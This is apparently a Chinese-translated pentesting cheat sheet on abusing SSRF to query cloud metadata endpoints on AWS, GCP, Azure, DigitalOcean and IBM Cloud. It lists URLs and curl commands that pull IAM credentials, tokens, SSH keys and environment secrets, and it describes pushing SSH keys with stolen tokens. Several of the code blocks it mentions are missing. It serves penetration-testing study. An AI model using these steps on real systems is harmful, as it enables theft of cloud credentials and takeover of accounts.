Cloud SSRF
云端SSRF
Try Hard Security Group

AWS
在AWS EC2环境中滥用SSRF
元数据端点可以从任何EC2机器内部访问,并提供有关其的有趣信息。它可以在以下URL中访问:http://169.254.169.254(有关元数据的信息在此处)。
有2个版本的元数据端点。第一个版本允许通过GET请求访问端点(因此任何SSRF都可以利用它)。对于版本2,IMDSv2,您需要发送带有HTTP头的PUT请求来请求一个令牌,然后使用该令牌来通过另一个HTTP头访问元数据(因此使用SSRF更加复杂)。
请注意,如果EC2实例正在强制执行IMDSv2,根据文档,PUT请求的响应将具有1个跳数限制,这将使得无法从EC2实例内部的容器访问EC2元数据。
此外,IMDSv2还将阻止包含X-Forwarded-For头的请求以获取令牌。这是为了防止配置错误的反向代理能够访问它。
您可以在文档中找到有关元数据端点的信息。在以下脚本中,从中获取了一些有趣的信息:
作为公开可用的IAM凭证暴露示例,您可以访问:http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
您还可以在以下位置检查公开的EC2安全凭证:http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
然后,您可以使用这些凭证与AWS CLI。这将允许您执行该角色具有权限执行的任何操作。
要利用新凭证,您需要创建一个类似以下内容的新AWS配置文件:
注意aws_session_token,这对配置文件的工作至关重要。
PACU可与发现的凭据一起使用,以查找您的权限并尝试提升权限
AWS ECS(容器服务)凭据中的SSRF
ECS是一组逻辑EC2实例,您可以在其中运行应用程序,而无需扩展自己的集群管理基础设施,因为ECS会为您管理。如果您成功地妥协了在ECS中运行的服务,则元数据端点会发生变化。
如果您访问_http://169.254.170.2/v2/credentials/<GUID>_,您将找到ECS机器的凭据。但首先,您需要找到<GUID>。要找到<GUID>,您需要读取机器内的environ变量AWS_CONTAINER_CREDENTIALS_RELATIVE_URI。
您可以利用路径遍历到file:///proc/self/environ来读取它
上述的http地址应该提供给您AccessKey、SecretKey和token。
用于AWS Lambda的SSRF
在这种情况下,凭据存储在环境变量中。因此,要访问它们,您需要访问类似于**file:///proc/self/environ**的内容。
有趣的环境变量的名称包括:
AWS_SESSION_TOKENAWS_SECRET_ACCESS_KEYAWS_ACCES_KEY_ID
此外,除了IAM凭据,Lambda函数还具有在启动函数时传递给函数的事件数据。此数据通过运行时接口提供给函数,并且可能包含敏感信息(例如stageVariables中的信息)。与IAM凭据不同,此数据可通过标准SSRF在**http://localhost:9001/2018-06-01/runtime/invocation/next**上访问。
请注意,Lambda凭据位于环境变量中。因此,如果Lambda代码的堆栈跟踪打印环境变量,可能会通过在应用程序中引发错误来外泄它们。
用于AWS Elastic Beanstalk的SSRF URL
我们从API中检索accountId和region。
我们随后从API中检索AccessKeyId、SecretAccessKey和Token。
然后我们使用这些凭据与 aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/。
GCP
您可以在此处找到有关元数据端点的文档。
Google Cloud 的 SSRF URL
需要 HTTP 标头 Metadata-Flavor: Google,您可以通过以下 URL 访问元数据端点:
http://169.254.169.254
http://metadata.google.internal
http://metadata
提取信息的有趣端点:
Beta目前不需要标题(感谢Mathias Karlsson @avlidienbrunn)
为了使用外泄的服务账户令牌,你可以执行以下操作:
添加一个SSH密钥
提取令牌
检查令牌的范围(使用先前的输出或运行以下内容)
现在推送SSH密钥。
云函数
元数据端点的工作方式与虚拟机中的相同,但没有一些端点:
Digital Ocean
Digital Ocean没有像AWS Roles或GCP service account这样的东西,所以不要期望找到元数据机器凭证。
文档可在https://developers.digitalocean.com/documentation/metadata/找到。
Azure
Azure虚拟机
必须包含头部
Metadata: true不得包含
X-Forwarded-For头部
Azure App Service
从 env 中,您可以获取 IDENTITY_HEADER 和 IDENTITY_ENDPOINT 的值。您可以使用这些值来获取一个令牌,以便与元数据服务器通信。
大多数情况下,您希望获取以下资源之一的令牌:
IBM 云
请注意,在 IBM 中,默认情况下未启用元数据,因此即使您在 IBM 云虚拟机内部,也可能无法访问它。
```bash export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\ -H "Metadata-Flavor: ibm"\ -H "Accept: application/json"\ -d '{ "expires_in": 3600 }' | jq -r '(.access_token)'`
Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
最后更新于